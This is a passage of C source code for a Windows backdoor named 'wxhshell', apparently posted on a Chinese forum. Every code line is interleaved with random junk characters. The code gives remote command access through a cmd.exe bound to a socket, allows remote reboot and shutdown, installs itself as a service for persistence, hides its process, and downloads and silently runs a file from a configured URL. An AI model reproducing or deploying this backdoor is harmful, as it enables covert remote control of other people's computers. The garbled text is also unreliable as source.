  else { ZGzrh`j{-  
.pi#Z /v  
    switch(cmd[0]) { }&rf'E9  
  fbwo2qe@K  
  // 帮助 6}x^ T)R  
  case '?': { `wB(J%w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sryujb.,  
    break; X||o iqbY  
  } v=i[s  
  // 安装 7SXi#{  
  case 'i': { |j^>6nE  
    if(Install()) (Y, @-V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 11X-X  
    else emw3cQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /.$n>:XR  
    break; @6 gA4h  
    } N ^h,[  
  // 卸载 0$}+tq+  
  case 'r': { uc=-+*D'I  
    if(Uninstall()) 0l.+yr}PE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -q(,}/Xf  
    else @XDU !<N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;TMH.E,h:  
    break; z6|P]u  
    } E} Uy-  
  // 显示 wxhshell 所在路径 }/(fe`7:  
  case 'p': { .4_EaQ;jX  
    char svExeFile[MAX_PATH]; isDBNXV:  
    strcpy(svExeFile,"\n\r"); 8\. #  
      strcat(svExeFile,ExeFile); 0D|^S<z6  
        send(wsh,svExeFile,strlen(svExeFile),0); o*f7/ZP1o  
    break; (IIOKx_  
    } d|j3E  
  // 重启 'e7<&wm ia  
  case 'b': { 8Th|'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A37Z;/H~k  
    if(Boot(REBOOT)) 3,oFT   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AJ^9[j}  
    else { pL.r 9T.  
    closesocket(wsh); S<88>|&n]  
    ExitThread(0); Nypa,_9}  
    } f*1.Vg0`-  
    break; 2ztP'  
    } jp=^$rS6[  
  // 关机 x?va26FV  
  case 'd': { bH3-#mw5w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :~ zK0v"  
    if(Boot(SHUTDOWN)) lmj73OB3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HR\yJt  
    else { s7(mNpo  
    closesocket(wsh); R\A5f\L9  
    ExitThread(0); iW-w?!>|m  
    } Eae]s8ek9  
    break; N=zrY`Vd  
    } 3)atqM)i  
  // 获取shell %:N5k+}  
  case 's': { L:XnW 1(Or  
    CmdShell(wsh); yGZb  
    closesocket(wsh); $khWu>b  
    ExitThread(0); oq^#mJL  
    break; s$ &:F4=?  
  } :f 1*-y  
  // 退出 'r(}7>~fC  
  case 'x': { -XkCbxZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !RFlv  
    CloseIt(wsh); ,K+K`"Oy  
    break; 8nt:peJ$+  
    } #)GL%{Oa  
  // 离开 -+Kx^V#'R  
  case 'q': { 8"N<g'Yl,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F.c,FR2  
    closesocket(wsh); #J)sz,)(  
    WSACleanup(); \a<qI  
    exit(1); \gDf&I  
    break; jC@$D*"J  
        } &]ts*qCEL  
  } deQ0)A 4g  
  } !-U5d9!  
DNLqipUw  
  // 提示信息 s34{\/'D+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gi6sl_"q  
} h-<('w:A  
  } 5^ARC^v  
i`FevAx;[m  
  return; FU;Tv).  
} wta\C{{  
? Z.p.v  
// shell模块句柄 aVNRhnM  
int CmdShell(SOCKET sock) *q=pv8&*s  
{ |k^'}n  
STARTUPINFO si; =v:vc~G6  
ZeroMemory(&si,sizeof(si)); }NMA($@A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DJS0;!# |O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pTprU)sa7  
PROCESS_INFORMATION ProcessInfo; [_G_Wl'#8  
char cmdline[]="cmd"; pBL,kqYNA>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^Q pP'  
  return 0; .Quu_S_ vH  
} i,8h B(M!  
;8'hvc3i$  
// 自身启动模式 B~D{p t3y  
int StartFromService(void) l"W9uS;\T  
{ }/4 AT  
typedef struct 3PIZay  
{ ?k TVC  
  DWORD ExitStatus; }cn46 L%/  
  DWORD PebBaseAddress; `J'xVq#O  
  DWORD AffinityMask; *l)_&p  
  DWORD BasePriority; ?S~HnIn  
  ULONG UniqueProcessId; dPc*!xrq  
  ULONG InheritedFromUniqueProcessId; %nSm 32/t3  
}   PROCESS_BASIC_INFORMATION; ;ug& v C  
4&r[`gL  
PROCNTQSIP NtQueryInformationProcess; Xx~OZ^t&Vn  
hxP%m4xF +  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5k)QjZo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a:r8Jzr  
f-F+Y`P  
  HANDLE             hProcess; 3=RVJb  
  PROCESS_BASIC_INFORMATION pbi; |F=!0Id<  
YiJnh47  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }%c2u/PQ  
  if(NULL == hInst ) return 0; zflq|dW  
O:IU|INq8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ai)S:2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f*,jhJ_I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tSaLR90Y6  
5z~rl}`v  
  if (!NtQueryInformationProcess) return 0; Iojyku\W.  
4w\ r `@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?3D|{  
  if(!hProcess) return 0; d&BocJ  
qsOA(+ZP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JR8 b[Oj.S  
c@wSv2o$  
  CloseHandle(hProcess); 5^<X:1J$  
E (  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J3fk3d`2  
if(hProcess==NULL) return 0; )_k"_VVcC  
IppzQ0'=y1  
HMODULE hMod; X; I:i%-  
char procName[255]; /2N'SOX  
unsigned long cbNeeded; G0oY`WXOB  
4wjy)VD_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )h6hN"#V5  
DDxbIkt  
  CloseHandle(hProcess); Yz(k4K L  
M<s16  
if(strstr(procName,"services")) return 1; // 以服务启动 4[m})X2(  
/j/,@,lw7z  
  return 0; // 注册表启动 7?!A~Seo|  
} JL[$B1  
" !F)K  
// 主模块 \UA\0p  
int StartWxhshell(LPSTR lpCmdLine) }(k#,&Fv`  
{ Yv<' QC  
  SOCKET wsl; Q&+Jeji  
BOOL val=TRUE; F*m^AFjs  
  int port=0; QK%Nt  
  struct sockaddr_in door; nGQc;p5;  
8,B?!%FP  
  if(wscfg.ws_autoins) Install(); O<7Q>m  
t"x 8]Gy  
port=atoi(lpCmdLine); p4mi\~Q  
M8dv y!D  
if(port<=0) port=wscfg.ws_port; <Hd8Jd4f  
jr[(g:L   
  WSADATA data; )[fjZG[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Jv0^"]  
"yaz!?O>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '!eg9}<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rQmDpoy=  
  door.sin_family = AF_INET; Y-!~x0-H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |osu4=s|  
  door.sin_port = htons(port); XJg8-)T#  
j/.$ (E   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \ #<.&`8B  
closesocket(wsl); G>Fk )  
return 1; 8(-V pU  
} ffoL]u\  
4'3do>!  
  if(listen(wsl,2) == INVALID_SOCKET) { 21NGsG  
closesocket(wsl); paKur%2u  
return 1; 0RHKzk6~c  
} be?>C 5  
  Wxhshell(wsl); NSe H u k  
  WSACleanup(); mj{B_3b5  
mJ+M|#Ox  
return 0; pH&*5=t}  
di.yh3N$  
} R[_Q}W'HG  
(~>uFH  
// 以NT服务方式启动 C,;T/9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k;5$]^x  
{ 42/MBP`\Y  
DWORD   status = 0; z$g cK>@l  
  DWORD   specificError = 0xfffffff; y;Ez|MS   
sX8d8d`}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xir ERc.e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8;PS>9<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rA+UftC:p6  
  serviceStatus.dwWin32ExitCode     = 0; SEfRU`  
  serviceStatus.dwServiceSpecificExitCode = 0; r]q;>\T'  
  serviceStatus.dwCheckPoint       = 0; f^JiaU4 [  
  serviceStatus.dwWaitHint       = 0; 5(wmy-x\  
7 bV(eV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @jL](Mq|]  
  if (hServiceStatusHandle==0) return; 5Zf^cou  
B":9C'tip  
status = GetLastError(); 26M:D&|ZB  
  if (status!=NO_ERROR) sNa Lz  
{ ^bM\:z"M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Borr  
    serviceStatus.dwCheckPoint       = 0; TWzlF>4N  
    serviceStatus.dwWaitHint       = 0; FOPfo b[  
    serviceStatus.dwWin32ExitCode     = status; F u>  
    serviceStatus.dwServiceSpecificExitCode = specificError; vYFtw L`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &}'FC7}  
    return; #ovausK[7  
  } N5PW]  
-L-#-dK'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2xLEB&  
  serviceStatus.dwCheckPoint       = 0; ^VC /tJ  
  serviceStatus.dwWaitHint       = 0; # &,W x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1NAGGr00  
} 7xF)\um  
18^#:=Z  
// 处理NT服务事件,比如:启动、停止 U g:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?F6L,  
{ awXK9}.  
switch(fdwControl) +3yG8  
{ HNJR&U t  
case SERVICE_CONTROL_STOP: gmUXh;aHc  
  serviceStatus.dwWin32ExitCode = 0; /^]/ iTg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ux,?\Vd  
  serviceStatus.dwCheckPoint   = 0; %p48=|+  
  serviceStatus.dwWaitHint     = 0; H(hE;|q/  
  { i:a*6b.U@N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zif&;)wV/  
  } c"O4=[N: ;  
  return; [psZc'q  
case SERVICE_CONTROL_PAUSE: dhX$b!DA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^h$^j  
  break; [vGkr" =  
case SERVICE_CONTROL_CONTINUE: (himx8Uml2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <x8I<K  
  break; &4O2uEW0  
case SERVICE_CONTROL_INTERROGATE: eo@kn yA<&  
  break; hv  
}; iQJa6QF&:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #a`D6;  
} )/t&a$[  
(*M*muk  
// 标准应用程序主函数 .5"s[(S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lfAiW;giJ  
{ TU6(Q,Yi|  
$`A{-0=x\U  
// 获取操作系统版本 S$O5jX 0  
OsIsNt=GetOsVer(); 4#Xz-5v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !/ a![Ne  
T@Bu Fr`]<  
  // 从命令行安装 _Sg"|g  
  if(strpbrk(lpCmdLine,"iI")) Install(); gSa!zQN6  
{#.<hPXn  
  // 下载执行文件 i]#"@xQ  
if(wscfg.ws_downexe) { UX2@eyejQ7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V3% >TNp  
  WinExec(wscfg.ws_filenam,SW_HIDE); S:K$fFcJ  
} 6b7c9n Z  
y>#_LhTX-  
if(!OsIsNt) { *@{  
// 如果时win9x,隐藏进程并且设置为注册表启动 zviTGhA  
HideProc(); ECyG$j0  
StartWxhshell(lpCmdLine); _l"=#i@L  
} "38L ,PW0Z  
else 28LBvJVq@  
  if(StartFromService()) ~<.{z]*O  
  // 以服务方式启动 d,b]#fj  
  StartServiceCtrlDispatcher(DispatchTable); 1COSbi]  
else y| 0!sNg  
  // 普通方式启动 <vE|QxpR  
  StartWxhshell(lpCmdLine); yH(3 m#  
RWRqu }a  
return 0; @Di!~e6  
}
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只看该作者 1 发表于: 2006-10-10
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